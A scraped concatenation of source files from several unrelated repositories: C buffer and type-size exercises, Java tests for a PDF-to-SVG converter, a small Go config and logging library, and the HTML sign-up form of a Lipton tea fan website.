* * * * * * * * * * * * */ short b_retract(Buffer *const pBD){ if(pBD == NULL || (pBD->getc_offset - 1) < 0) return R_FAIL_1; /*decriment the character offset*/ pBD->getc_offset--; /*return the character offset*/ return pBD->getc_offset; } /* Purpose: retracts offset to a specific mark * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: none * Parameters: pBD -- Type: Pointer to Buffer descriptor struct * Return Value: short * Algorithm: checks parameters for errors, then retract character offset to specific mark and return the character offset * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ short b_retract_to_mark(Buffer *const pBD){ if(pBD == NULL) return R_FAIL_1; /*set the character offset to a specific mark nad return*/ pBD->getc_offset = pBD->mark_offset; return pBD->getc_offset; } /* Purpose: return the character offset * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: none * Parameters: pBD -- Type: Pointer to Buffer descriptor struct * Return Value: short * Algorithm: checks parameters for errors, then returns the character offset * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ short b_get_getc_offset(Buffer *const pBD){ if(pBD == NULL) return R_FAIL_1; /*returning the character offset*/ return pBD->getc_offset; } /* Purpose: * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: none * Parameters: pBD -- Type: Pointer to Buffer descriptor struct * offset -- Type: short Range: -- * Return Value: char * Algorithm: checks parameters for errors, then returns the address to the specific character in the buffer * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ char *b_get_chloc(Buffer *const pBD, short offset){ if(offset > pBD->addc_offset || pBD == NULL) return NULL; /*return the address of the character in the char buffer at the offset*/ return &pBD->ca_head[offset]; }<file_sep>#include <stdio.h> #include <math.h> int main() { int max_value = 1; int i; printf("\nThe size of an int is: %u", sizeof(int)); printf("\nThe size of a short is: %u",sizeof(short)); printf("\nThe size of an unsigned short is: %u",sizeof(unsigned short)); printf("\nThe size of an unsigned int is: %u",sizeof(unsigned int)); printf("\nThe size of a char is: %u",sizeof(char)); printf("\nThe size of a float is: %u",sizeof(float)); printf("\nThe size of a double is: %u",sizeof(double)); printf("\nThe size of a long double is: %u",sizeof(long double)); printf("\nThe size of a size_t is: %u",sizeof(size_t)); printf("\nThe size of wchar_t is: %u\n",sizeof(wchar_t)); for(i=0; i < ((sizeof(short)*8)-1); i++){ max_value *= 2; } max_value -= 1; printf("The max value of a short is: %d\n", max_value); max_value = 1; for(i = 0; i < (sizeof(unsigned short)*8);i++){ max_value *= 2; } max_value -= 1; printf("The max value of an unsigned short is: %u\n", max_value); return 0; }
4ee26ec37471366201254d087bab471ce0e612df
[ "C" ]
4
C
KyleKilbride/School-Term4
4a4662538a54931e6c050827b8344368169b2144
4881305e17af47ad097c0f1c4edbb90474f57429
refs/heads/master
<file_sep>/** * Copyright (C) 2012 pm286 <<EMAIL>> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.xmlcml.pdf2svg; import java.io.File; import org.junit.Assert; import org.junit.Ignore; import org.junit.Test; import org.xmlcml.pdf2svg.PDF2SVGConverter; /** Not really tests. * Run over a large number of different PDFs to gather information and * a vague hope of catching regressions * Run manually * * @author pm286 * */ public class SemiTest { @Test @Ignore public void main() { new SemiTest().testPaperCollection(); } /* not a JUNIT test * */ @Test @Ignore public void testPaperCollection() { testAJC(); testAJCMany(); testBMC(); testE(); testRSC(); testRSC1(); testRSCMany(); testPsyc(); testAPA(); testSocDir(); testACS(); testNPG(); testWiley(); testBMJ(); testElife(); testJB(); testPlosOne(); testPlosOne1(); testElsevier2(); testWord(); testWordMath(); testThesis(); testThesis1(); testThesis2(); testThesis5(); testThesisMany(); testArxivMany(); testECU(); } @Test @Ignore public void testAJC() { for (int pageNum = 1; pageNum <= 131; pageNum++) { File pageNFile = new File("target/ajc/xx-page" + pageNum + ".svg"); if (pageNFile.exists()) { pageNFile.delete(); } } PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "target/ajc", "-pages", "1-131", "-pub", "ajc", "../pdfs/ajctest/xx.pdf"); for (int pageNum = 1; pageNum <= 131; pageNum++) { File pageNFile = new File("target/ajc/xx-page" + pageNum + ".svg"); Assert.assertTrue(pageNFile.exists()); } } @Test @Ignore public void testAJCMany() { convertPDFsToSVG("../pdfs/ajc/many", "target/ajc/many"); } public static void convertPDFsToSVG(String pdfDirName, String outdir) { File pdfDir = new File(pdfDirName); File[] files = pdfDir.listFiles(); if (files != null) { for (File file : files){ if (file.toString().endsWith(".pdf")) { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", outdir, file.toString()); } } } } // do not normally run this @Test @Ignore public void testBMC() { for (int pageNum = 1; pageNum <= 14; pageNum++) { File pageNFile = new File("../pdfs/312-page" + pageNum + ".svg"); if (pageNFile.exists()) { pageNFile.delete(); } } PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/bmc", "-pages", "1-14", "-pub", "bmc", "src/test/resources/org/xmlcml/graphics/pdf/312.pdf"); for (int pageNum = 1; pageNum <= 14; pageNum++) { File pageNFile = new File("../pdfs/bmc/312-page" + pageNum + ".svg"); Assert.assertTrue(pageNFile.exists()); } } // do not normally run this @Test @Ignore public void testE() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/e", "-pub", "els", "../pdfs/e/6048.pdf"); } // do not normally run this @Test @Ignore public void testRSC() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/rsc", "-pub", "rsc", "../pdfs/rsc/b306241d.pdf"); } // do not normally run this @Test @Ignore public void testRSC1() { // this has very bad performance because of colour conversion in bitmap fonts PDF2SVGConverter converter = new PDF2SVGConverter(); // converter.run("-outdir", "../pdfs/rsc", "-pages", "3", "../pdfs/rsc/problemChars.pdf"); converter.run("-outdir", "../pdfs/rsc", "-pub", "pccp", "../pdfs/rsc/problemChars.pdf"); } @Test @Ignore public void testRSCMany() { convertPDFsToSVG("../pdfs/rsc/many", "target/rsc/many"); } // do not normally run this @Test @Ignore public void testPsyc() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/psyc", "-pub", "frpsyc","../pdfs/psyc/Holcombe2012.pdf"); } // do not normally run this @Test @Ignore public void testAPA() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/apa", "-pub", "apa", "../pdfs/apa/Liu2005.pdf"); } // do not normally run this @Test @Ignore public void testSocDir() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/socdir", "-pub", "socdir", "../pdfs/socdir/1-PB.pdf"); } // not behaving right // do not normally run this @Test @Ignore public void testACS() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/acs", "-pub", "acs", "../pdfs/acs/nl072516n.pdf"); } // do not normally run this @Test @Ignore public void testNPG() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/npg", "-pub", "npg", "../pdfs/npg/srep00778.pdf"); } // do not normally run this @Test @Ignore public void testWiley() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/wiley", "-pub", "wiley", "../pdfs/wiley/1032.pdf"); } // do not normally run this @Test @Ignore public void testBMJ() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/bmj", "-pub", "bmj", "../pdfs/bmj/e001553.pdf"); } @Test @Ignore // do not normally run this public void testElife() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/elife", "-pub", "elife", "src/test/resources/elife/00013.pdf"); } @Test @Ignore // do not normally run this public void testJB() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/jb", "-pub", "jb", "../pdfs/jb/100-14.pdf"); } @Test @Ignore // do not normally run this public void testPlosOne() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/plosone", "-pub", "plosone", "src/test/resources/plosone/0049149.pdf"); } @Test @Ignore // do not normally run this public void testPlosOne1() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/plosone", "-pages", "2", "src/test/resources/plosone/2009_rip_loop_conformations.pdf"); } @Test @Ignore // do not normally run this public void testElsevier2() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/els", "../pdfs/e2/1-s2.0-S2212877812000129-main.pdf"); } @Test @Ignore // do not normally run this public void testWord() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/word", "-pub", "word", "../pdfs/word/test.pdf"); } @Test @Ignore // do not normally run this public void testWordMath() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/word", "-pub", "word", "../pdfs/word/testmath.pdf"); } @Test @Ignore // do not normally run this public void testThesis() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/thesis", "../pdfs/thesis/darmstadt.pdf"); } @Test @Ignore // do not normally run this public void testThesis1() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/thesis", "../pdfs/thesis/keruzore.pdf"); } @Test @Ignore // do not normally run this public void testThesis2() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/thesis", "../pdfs/thesis/Mawer.pdf"); } @Test @Ignore // do not normally run this public void testThesis5() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run("-outdir", "../pdfs/thesis", "../pdfs/thesis/zakrysphd.pdf"); } @Test @Ignore public void testThesisMany() { convertPDFsToSVG("../pdfs/thesis", "target/thesis"); } @Test @Ignore public void testArxivMany() { convertPDFsToSVG("../pdfs/arxiv", "target/arxiv"); } @Test @Ignore public void testECU() { convertPDFsToSVG("../../documents/standalone/ecu2012", "target/ecu"); } @Test @Ignore public void testPPT() { convertPDFsToSVG("../pdfs/ppt", "target/ppt"); } @Test @Ignore public void testHelp() { PDF2SVGConverter converter = new PDF2SVGConverter(); converter.run(); } } <file_sep>package org.xmlcml.pdf2svg; import org.junit.Ignore; import org.junit.Test; public class MiscTest { @Test public void dummy() { } @Test @Ignore public void testHelp() { new PDF2SVGConverter().run(); } @Test public void testBMC() { new PDF2SVGConverter().run("-logger", "-infofiles", "-logglyphs", "-outdir", "target/bmc", "src/test/resources/bmc/1471-2148-11-329.pdf" ); } // comment out @Ignore to test these @Test @Ignore public void testDingbatsFont() { new PDF2SVGConverter().run("-logger", "-infofiles", "-logglyphs", "-outdir", "target/test", "../pdfs/peerj/36.pdf" // ,"-debugFontName", "RNMPIC+Dingbats" ); } @Test @Ignore public void testCambriaMathFont() { new PDF2SVGConverter().run("-logger", "-infofiles", "-logglyphs", "-outdir", "target/mdpi", "src/test/resources/mdpi" // ,"-debugFontName" , "KBEJAP+CambriaMath" ); } @Test @Ignore public void testBold() { new PDF2SVGConverter().run("-logger", "-infofiles", "-logglyphs", "-outdir", "target/mdpi", "src/test/resources/mdpi/materials-05-00027.pdf" // ,"-debugFontName" , "KBDOLG+TimesNewRoman" ); } } <file_sep>package org.xmlcml.pdf2svg; import java.io.File; // //import java.io.FileInputStream; //import java.io.FileNotFoundException; //import java.io.FileOutputStream; //import java.io.IOException; //import java.util.ArrayList; //import java.util.List; // //import nl.siegmann.epublib.domain.Author; //import nl.siegmann.epublib.domain.Book; //import nl.siegmann.epublib.domain.Resource; //import nl.siegmann.epublib.domain.Resources; //import nl.siegmann.epublib.epub.EpubReader; //import nl.siegmann.epublib.epub.EpubWriter; // //import org.apache.log4j.Logger; //import org.junit.Assert; //import org.junit.Ignore; //import org.junit.Test; public class EPub4SVGTest { // private final static Logger LOG = Logger.getLogger(EPub4SVGTest.class); // @Test // public void testInitial() throws IOException { // PDF2SVGConverter converter = new PDF2SVGConverter(); // File input = new File(Fixtures.MISC_DIR, "1129-2377-14-93.pdf"); // Assert.assertTrue("exists", input.exists()); // String outdirname = "target/1129-2377-14-93/"; // converter.run("-outdir", outdirname, input.toString()); // // String title = "BMC article"; // Author author = new Author("Peter", "M-R"); // String outfilename = "target/article.epub"; // Book book = writeEpub(outdirname, title, author, outfilename); // debugEpub("target/article.epub"); // // } // // @Test // @Ignore // OOM // public void testTrees() throws IOException { // PDF2SVGConverter converter = new PDF2SVGConverter(); // File input = new File(Fixtures.MISC_DIR, "1471-2148-11-312.pdf"); // Assert.assertTrue("exists", input.exists()); // String outdirname = "target/1471-2148-11-312/"; // converter.run("-outdir", outdirname, input.toString()); // // String title = "BMC article"; // Author author = new Author("Peter", "M-R"); // String outfilename = "target/1471-2148-11-312.epub"; // Book book = writeEpub(outdirname, title, author, outfilename); // debugEpub("target/1471-2148-11-312.epub"); // // } // // private Book writeEpub(String outdirname, String title, Author author, // String outfilename) throws FileNotFoundException, IOException { // Book book = new Book(); // book.getMetadata().addTitle(title); // book.getMetadata().addAuthor(author); // File outdir = new File(outdirname); // File[] files = outdir.listFiles(); // for (File file : files) { // FileInputStream fis = new FileInputStream(file); // Resource resource = new Resource(fis, file.getName()); // book.getResources().add(resource); // } // EpubWriter epubWriter = new EpubWriter(); // epubWriter.write(book, new FileOutputStream(outfilename)); // return book; // } // // private void debugEpub(String filename) throws IOException, // FileNotFoundException { // EpubReader epubReader = new EpubReader(); // Book book1 = epubReader.readEpub(new FileInputStream(filename)); // List<Resource> resources = book1.getContents(); // Resources resources1 = book1.getResources(); // List<Resource> zz = new ArrayList<Resource>(resources1.getAll()); // for (Resource resource : zz) { // System.out.println(">>>"+resource); // } // } } <file_sep>package org.xmlcml.pdf2svg; import org.junit.Ignore; import org.junit.Test; public class CharactersInPDFIT { @Test @Ignore /** this has some unusual fonts and probable fails. * * e.g. 12856 [main] DEBUG org.apache.fontbox.util.FontManager - Unsupported font format for external font: /Library/Fonts/STIXSizTwoSymBol.otf 12856 [main] DEBUG org.apache.fontbox.util.FontManager - Unsupported font format for external font: /Library/Fonts/STIXSizTwoSymReg.otf * will */ public void testChars() { new PDF2SVGConverter().run("-logger", "-infofiles", "-logglyphs", "-outdir", "target/test", "src/test/resources/org/xmlcml/pdf2svg/misc/"); } } <file_sep>package org.contentmine.pdf2svg; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import org.apache.commons.io.FileUtils; import org.apache.commons.io.FilenameUtils; import org.apache.log4j.Level; import org.apache.log4j.Logger; import org.apache.pdfbox.pdmodel.PDDocument; import org.apache.pdfbox.pdmodel.PDPage; import org.apache.pdfbox.rendering.PDFRenderer; import org.xmlcml.graphics.svg.GraphicsElement; import org.xmlcml.graphics.svg.SVGSVG; import org.xmlcml.xml.XMLUtil; import com.google.common.collect.HashMultiset; import com.google.common.collect.Multiset; /** * new version of PDF2SVGConverter for PDFBox 2.0 * * @author pm286 * */ public class PDF2SVGTransformer { private static final Logger LOG = Logger.getLogger(PDF2SVGTransformer.class); static { LOG.setLevel(Level.DEBUG); } private PDDocument document; private PDFRenderer renderer; private int pageCount; StringBuilder debugBuilder; private SVGSVG svgBuilder; // private Real2 currentPoint = new Real2(0.0, 0.0); // to avoid null pointer private Multiset<String> glyphSet; private Multiset<String> codePointSet; private double eps = 0.000001; private PDFPage2SVGConverter pdfPage2SVGConverter; public PDF2SVGTransformer() { this.debugBuilder = new StringBuilder(); this.svgBuilder = new SVGSVG(); this.glyphSet = HashMultiset.create(); this.codePointSet = HashMultiset.create(); } private void ensureCodePointSet() { if (codePointSet == null) { codePointSet = HashMultiset.create(); } } public void convert(File file) throws IOException { String fileRoot = FilenameUtils.getBaseName(file.toString()); document = PDDocument.load(file); renderer = new PDFRenderer(document); pageCount = document.getNumberOfPages(); LOG.info("Page count: "+pageCount); for (int ipage = 0; ipage < pageCount; ipage++) { PDPage page = document.getPage(ipage); LOG.info("page: "+ipage); pdfPage2SVGConverter = new PDFPage2SVGConverter(this, renderer, page); pdfPage2SVGConverter.processPage(); GraphicsElement svgElement = pdfPage2SVGConverter.getSVG(); this.writePage(new File("target/debug/"+fileRoot+"/page_"+ipage+".txt")); XMLUtil.debug(svgElement, new FileOutputStream(new File("target/debug/"+fileRoot+"/page_"+ipage+".svg")), 1); } LOG.info("CodePoints "+codePointSet); document.close(); } private void writeSVG(File file) throws IOException { LOG.info("wrote: "+file.getAbsolutePath()); XMLUtil.debug(svgBuilder, file, 1); svgBuilder = new SVGSVG(); } public void writePage(File file) throws IOException { LOG.info("wrote: "+file.getAbsolutePath()); FileUtils.write(file, debugBuilder.toString()); debugBuilder = new StringBuilder(); } public void append(GraphicsElement element) { getPdfPage2SVGConverter().appendChild(element); } public void addCodePoint(String codePointS) { ensureCodePointSet(); codePointSet.add(codePointS); } public double getEpsilon() { return eps; } public PDFPage2SVGConverter getPdfPage2SVGConverter() { if (pdfPage2SVGConverter == null) { throw new RuntimeException("Must create PDFPage2SVGConverter before now"); } return pdfPage2SVGConverter; } }
325c703298b0c2f777e1bb7fcb2f04e88e67774b
[ "Java" ]
5
Java
petermr/pdf2svg
cdf4d87d704d16e7140a553a1786dc3cb1e201c0
891d2bd0c09a68560a015235cf6643e1f1a0dc4d
refs/heads/master
<repo_name>pubgo/gocfg<file_sep>/tests/1_test.go package tests import ( "testing" "github.com/kooksee/konfig" "github.com/rs/zerolog" "os" "github.com/rs/zerolog/log" ) func init() { konfig.Log.InitDev() } func TestName1(t *testing.T) { konfig.Cfg. SetDebug(true) } func TestName32(t *testing.T) { zerolog.TimestampFieldName = "time" zerolog.LevelFieldName = "level" zerolog.MessageFieldName = "msg" log.Logger = log.With().Caller().Logger() log.Info().Msg("hello world") log.Logger = log.Output(zerolog.ConsoleWriter{Out: os.Stderr}) log.Info().Str("foo", "bar").Msg("Hello world") } func TestName(t *testing.T) { konfig.Log.InitDev() log.Info().Str("foo", "bar").Msg("Hello world") } func TestProd(t *testing.T) { konfig.Cfg. SetDebug(true). SetLogLevel("error") konfig.Log.InitProd() log.Info().Str("foo", "bar").Msg("Hello world") log.Error().Str("foo", "bar").Msg("Hello world") } <file_sep>/README.md # konfig 整合config,microservice log <file_sep>/log.go package konfig import ( "os" "github.com/rs/zerolog" "github.com/rs/zerolog/log" "io" "fmt" "github.com/kooksee/konfig/writer" ) type klog struct { write *zwriter.ZWriter writer []io.Writer } func (t *klog) appendExtra(ctx zerolog.Context) zerolog.Context { return ctx.Str("service", cfg.ServiceName()).Str("hostname", cfg.HostName()) } func (t *klog) initLevel() { l, err := zerolog.ParseLevel(cfg.LogLevel()) if err != nil { panic(fmt.Sprintf("golog initLevel error: %s", err.Error())) } zerolog.SetGlobalLevel(l) file := cfg.LogFile() if file != "" { t.writer = append(t.writer, zwriter.NewFileWriter(file)) } url := cfg.LogUrl() if url != "" { t.writer = append(t.writer, zwriter.NewUrlWriter(url)) } } func (t *klog) InitDev() { log.Logger = t.appendExtra(log.Output(zerolog.ConsoleWriter{Out: os.Stderr}).With().Caller()).Logger() } func (t *klog) InitProd() { t.initLevel() t.write.SetWriter(t.writer) log.Logger = t.appendExtra(log.Output(t.write).With().Caller()).Logger() // 添加hook //log.Logger.Hook() } func init() { zerolog.MessageFieldName = "msg" Log = &klog{ write: zwriter.NewZWriter(), writer: []io.Writer{zwriter.NewConsole()}, } } var Log *klog <file_sep>/konfig.go package konfig import ( "github.com/spf13/viper" "os" "fmt" ) var cfg *config var Cfg *config type config struct{} func init() { viper.SetConfigType("json") cfg = &config{} Cfg = cfg } func (t *config) SetDebug(b bool) *config { viper.Set(Prefix.IsDebug, "false") if b { viper.Set(Prefix.IsDebug, "true") } return t } func (t *config) IsDebug() bool { return viper.GetString(Prefix.IsDebug) == "true" } func (t *config) SetLogLevel(level string) *config { viper.Set(Prefix.LogLevel, level) return t } func (t *config) LogLevel() string { level := viper.GetString(Prefix.LogLevel) if level == "" { level = "debug" } return level } func (t *config) LogFile() string { return viper.GetString(Prefix.LogFile) } func (t *config) LogUrl() string { return viper.GetString(Prefix.LogUrl) } func (t *config) SetLogFile(path string) *config { viper.Set(Prefix.LogFile, path) return t } func (t *config) SetLogUrl(url string) *config { viper.Set(Prefix.LogUrl, url) return t } func (t *config) SetServiceName(name string) *config { viper.Set(Prefix.ServiceName, name) return t } func (t *config) ServiceName() string { name := viper.GetString(Prefix.LogLevel) if name == "" { name = "test service" } return name } func (t *config) HostName() string { h, err := os.Hostname() if err != nil { panic(fmt.Sprintf("get Hostname error: %s", err.Error())) } return h } <file_sep>/config_prefix.go package konfig type prefix struct { IsDebug string ServiceName string LogLevel string LogFile string LogUrl string } var Prefix = prefix{ IsDebug: "is_debug", ServiceName: "service_name", LogLevel: "log_level", LogFile: "log_file", LogUrl: "log_url", }
18d31536d0d41bdab243d0607421cc9135d0cef9
[ "Markdown", "Go" ]
5
Go
pubgo/gocfg
2fee9a31597e1ed6b226304d18db22f1a85c883e
0b82cb5285bcff9eecf31b5682311285d1e57523
refs/heads/master
<file_sep><!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Lipton® Tea</title> <link rel="shortcut icon" href="favicon.ico" type="image/ico"> <script src="JS/Script.js" type="text/javascript"></script> <link rel="stylesheet" type="text/css" href="CSS/Style.css" /> </head> <body> <section class="header"> <section class="header_wrapper"> <div align="left" class="header_left"> <ul> <li><a href="sign_up.html" id="header_signup">SIGN UP</a></li> <li><a target="_blank" href="https://www.facebook.com/liptonphilippines/?brand_redir=131215450369042"><img src="Images/Social_Media_Logo/Facebook.png" onmouseover="this.src='Images/Social_Media_Logo/FacebookHover.png'" onmouseout="this.src='Images/Social_Media_Logo/Facebook.png'"/></a></li> <li><a target="_blank"href="https://twitter.com/Lipton"><img src="Images/Social_Media_Logo/Twitter.png" onmouseover="this.src='Images/Social_Media_Logo/TwitterHover.png'" onmouseout="this.src='Images/Social_Media_Logo/Twitter.png'"/></a></li> <li><a target="_blank" href="https://www.pinterest.com/explore/lipton/"><img src="Images/Social_Media_Logo/Pinterest.png" onmouseover="this.src='Images/Social_Media_Logo/PinterestHover.png'" onmouseout="this.src='Images/Social_Media_Logo/Pinterest.png'"/></a></li> <li><a target="_blank" href="https://www.instagram.com/lipton/"><img src="Images/Social_Media_Logo/Instagram.png" onmouseover="this.src='Images/Social_Media_Logo/InstagramHover.png'" onmouseout="this.src='Images/Social_Media_Logo/Instagram.png'"/></a></li> </ul> </div> <div align="center" class="header_center"> <a href="index.html"><img id="header_logo" src="Images/Logo/LiptonHeader.png"/></a> </div> </section> </section> <section class="menubar"> <ul> <li id="active"><a href="index.html">HOME</a> </li><li><a href="our_teas.html">OUR TEAS</a> </li><li><a href="tea_recipes.html">TEA RECIPES</a> </li><li><a href="where_to_buy.html">WHERE TO BUY</a> </li><li><a href="world_of_tea.html">WORLD OF TEA</a> </li> </ul> </section> <section class="mainbar"> <div class="mainbar_link"> <ul> <li><a href="index.html">Home</a> </li><li>&nbsp;>&nbsp; </li><li>Sign Up</li> </ul> </div> <div class="mainbar_signup"> <p id="mainbar_subheader">SIGN UP</p> <p id="mainbar_note">* indicates required information</p> <div class="mainbar_form"> <form name="signupform" method="get" action="index.html" onsubmit="return myValidation();"> <label id="form_header" for="emailaddress">E-MAIL ADDRESS:*</label><br> <input name="emailaddress" id="emailaddress" type="text" placeholder="<EMAIL>"> <span id="noemailaddress"></span><br> <label id="form_header" for="firstname">FIRST NAME:*</label><br> <input name="firstname" id="firstname" type="text"> <span id="nofirstname"></span><br> <label id="form_header" for="lastname">LAST NAME:*</label><br> <input name="lastname" id="lastname" type="text"> <span id="nolastname"></span><br> <label id="form_header" for="address">ADDRESS:*</label><br> <input name="address" id="address" type="text"> <span id="noaddress"></span><br> <label id="form_header" for="city">CITY:*</label><br> <input name="city" id="city" type="text"> <span id="nocity"></span><br> <label id="form_header" for="province">PROVINCE:*</label><br> <select name="province" id="province"> <option value="">Select a Province</option> <option value="Abra">Abra</option> <option value="Agusan del Norte">Agusan del Norte</option> <option value="Agusan del Sure">Agusan del Sur</option> <option value="Aklan">Aklan</option> <option value="Albay">Albay</option> <option value="Antique">Antique</option> <option value="Apayao">Apayao</option> <option value="Aurora">Aurora</option> <option value="Basilan">Basilan</option> <option value="Bataan">Bataan</option> <option value="Batanes">Batanes</option> <option value="Batangas">Batangas</option> <option value="Benguet">Benguet</option> <option value="Biliran">Biliran</option> <option value="Bohol">Bohol</option> <option value="Bukidnon">Bukidnon</option> <option value="Bulacan">Bulacan</option> <option value="Cagayan">Cagayan</option> <option value="Camarines Norte">Camarines Norte</option> <option value="Camarines Sur">Camarines Sur</option> <option value="Camiguin">Camiguin</option> <option value="Capiz">Capiz</option> <option value="Catanduanes">Catanduanes</option> <option value="Cavite">Cavite</option> <option value="Cebu">Cebu</option> <option value="Compostela Valley">Compostela Valley</option> <option value="Cotabato">Cotabato</option> <option value="Davao del Norte">Davao del Norte</option> <option value="Davao del Sur">Davao del Sur</option> <option value="Davao Oriental">Davao Oriental</option> <option value="Dinagat Islands">Dinagat Islands</option> <option value="Eastern Samar">Eastern Samar</option> <option value="Guimaras">Guimaras</option> <option value="Ifugao">Ifugao</option> <option value="Ilocos Norte">Ilocos Norte</option> <option value="Ilocos Sur">Ilocos Sur</option> <option value="Iloilo">Iloilo</option> <option value="Isabela">Isabela</option> <option value="Kalinga">Kalinga</option> <option value="La Union">La Union</option> <option value="Laguna">Laguna</option> <option value="Lanao del Norte">Lanao del Norte</option> <option value="Lanao del Sur">Lanao del Sur</option> <option value="Leyte">Leyte</option> <option value="Maguindanao">Maguindanao</option> <option value="Marinduque">Marinduque</option> <option value="Masbate">Masbate</option> <option value="Metro Manila">Metro Manila</option> <option value="Misamis Occidental">Misamis Occidental</option> <option value="Misamis Oriental">Misamis Oriental</option> <option value="Mountain Province">Mountain Province</option> <option value="Negros Occidental">Negros Occidental</option> <option value="Negros Oriental">Negros Oriental</option> <option value="Northern Samar">Northern Samar</option> <option value="Nueva Ecija">Nueva Ecija</option> <option value="Nueva Vizcaya">Nueva Vizcaya</option> <option value="Occidental Mindoro">Occidental Mindoro</option> <option value="Oriental Mindoro">Oriental Mindoro</option> <option value="Palawan">Palawan</option> <option value="Pampanga">Pampanga</option> <option value="Pangasinan">Pangasinan</option> <option value="Quezon">Quezon</option> <option value="Quirino">Quirino</option> <option value="Rizal">Rizal</option> <option value="Romblon">Romblon</option> <option value="Samar">Samar</option> <option value="Sarangani">Sarangani</option> <option value="Shariff Kabunsuan">Shariff Kabunsuan</option> <option value="Siquijor">Siquijor</option> <option value="Sorsogon">Sorsogon</option> <option value="South Cotabato">South Cotabato</option> <option value="Southern Leyte">Southern Leyte</option> <option value="Sultan Kudarat">Sultan Kudarat</option> <option value="Sulu">Sulu</option> <option value="Surigao del Norte">Surigao del Norte</option> <option value="Surigao del Sur">Surigao del Sur</option> <option value="Tarlac">Tarlac</option> <option value="Tawi-Tawi">Tawi-Tawi</option> <option value="Zambales">Zambales</option> <option value="Zambaonga del Norte">Zambaonga del Norte</option> <option value="Zambaonga del Sur">Zambaonga del Sur</option> <option value="Zamboanga Sibugay">Zamboanga Sibugay</option> </select> <span id="noprovince"></span><br> <label id="form_header" for="zipcode">ZIP CODE:*</label><br> <input name="zipcode" id="zipcode" type="text"> <span id="nozipcode"></span><br> <label id="form_header" for="birthday">DATE OF BIRTH:*</label><br> <input name="birthday" id="birthday" type="text" placeholder="mm-dd-yyyy" > <span id="nobirthday"></span><br> <label id="form_header" for="contactnumber">CONTACT NUMBER:*</label><br> <input name="contactnumber" id="contactnumber" type="text"> <span id="nocontactnumber"></span><br><br> <label id="form_header">WHAT IS YOUR MARITAL STATUS?</label><br><br> <input name="status" value="single" id="single" type="radio" checked> <label for="single">SINGLE</label><br> <input name="status" value="married" id="married" type="radio" > <label for="married">MARRIED</label><br> <input name="status" value="divorced" id="divorced" type="radio" > <label for="divorced">DIVORCED</label><br> <input name="status" value="widow" id="widow" type="radio" > <label for="widow">WIDOW</label><br> <input name="status" value="separated" id="separated" type="radio" > <label for="separated">SEPARATED</label><br> <input name="status" value="dontsharestatus" id="dontshare" type="radio" > <label for="dontshare">DO NOT WISH TO SHARE</label><br><br> <p id="mainbar_subsubheader">Sign up for deals and promotions</p> <p> Helping you with your everyday needs is important to us. Therefore, from time to time, we may wish to send you information, samples or special offers that we feel may be of interest to you regarding Lipton® or other complementary brands from Unilever or other carefully-selected companies. If you would rather not opt-in to receive such information, please uncheck the box below. For more information or to remove yourself from future contact, please visit our <a id="p_link" target="_blank" href="http://www.unileverus.com/terms/termsofuse.html">Privacy Policy </a> </p> <input name="yes" value="yesonly" id="yesonly" type="radio" checked> <label for="yesonly">YES, I WOULD LIKE TO RECEIVE SUCH INFORMATION AND OFFERS.</label><br> <input name="yes" value="yeslipton" id="yeslipton" type="radio"> <label for="yeslipton">YES, I WOULD LIKE TO RECEIVE SUCH INFORMATION AND OFFERS FROM LIPTON<sup>®</sup>.</label><br> <input type="submit" value="Sign Up"/> </form> </div> </div> </section> <section class="footer"> <div align="center" class="footer_menus"> <ul> <li><a href="about_lipton.html">ABOUT LIPTON<sup>®</sup></a> </li><li><a href="about_developers.html">ABOUT THE DEVELOPERS</a> </li><li><a href="#">HELP CENTER</a> </li><li><a href="where_to_buy.html">WHERE TO BUY</a> </li><li><a target="_blank" href="http://www.yummly.com/page/liptontea">YUMMLY</a> </li><li><a href="#">SITE MAP</a> </li><li><a target="_blank" 